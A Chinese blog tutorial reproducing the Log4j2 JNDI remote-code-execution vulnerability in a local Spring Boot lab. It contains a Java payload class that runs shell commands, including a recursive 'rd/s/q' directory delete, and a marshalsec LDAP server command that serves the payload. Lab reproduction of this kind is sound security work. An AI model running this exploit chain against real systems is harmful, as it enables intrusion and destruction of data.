说明
springboot
^2.6.1
jdk
^1.8_211
log4j2
^2.6.1
创建springboot的新工程
版本选择最新版 即:2.6.1

引入log4j2的依赖
maven仓库截至 2021/12/15
最新版的log4j2
的依赖如下

排除springboot
最新版自自动的日志

创建漏洞执行文件程序以及生成对应编译文件
任意目录创建下面文件 不带包名
/**
* @author 1215618342@qq.com
*/
public class TestLog4j2 {
static {
System.err.println("=========mkdir C:\\ele\\aa ===================");
try {
String cmds = "cmd /c mkdir C:\\ele\\aa";
Runtime.getRuntime().exec(cmds);
} catch ( Exception e ) {
e.printStackTrace();
}
try {
System.err.println("=========delete C:\\ele\\suke ===================");
Runtime run = Runtime.getRuntime();
String cmd="cmd /c rd/s/q "+"C:\\ele\\suke";
Process p = run.exec(cmd);
p.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
}复制
编译成class

用nginx或者其他工具映射对应class文件
这里我直接使用http-server

下载marshalsec工具
marshalsec 启动脚本
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8080/#TestLog4j2" 8888
复制
参数说明
双引号中的内容为上面漏洞执行脚本程序的编译文件地址和类名, http://127.0.0.1:8080
为编译文件的可访问地址,TestLog4j2
为类名8888
为当前marshalsec
启动的ldap
服务端口
springboot中创建测试访问接口

启动项目,访问接口

测试过程如下
c盘创建ele/suke目录 按照前面顺序启动好之后,访问该测试接口,参数如图所示
最后
以上代码仅用于本地复现漏洞,请勿用于非法场景,出问题概不负责
文章转载自技术源share,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。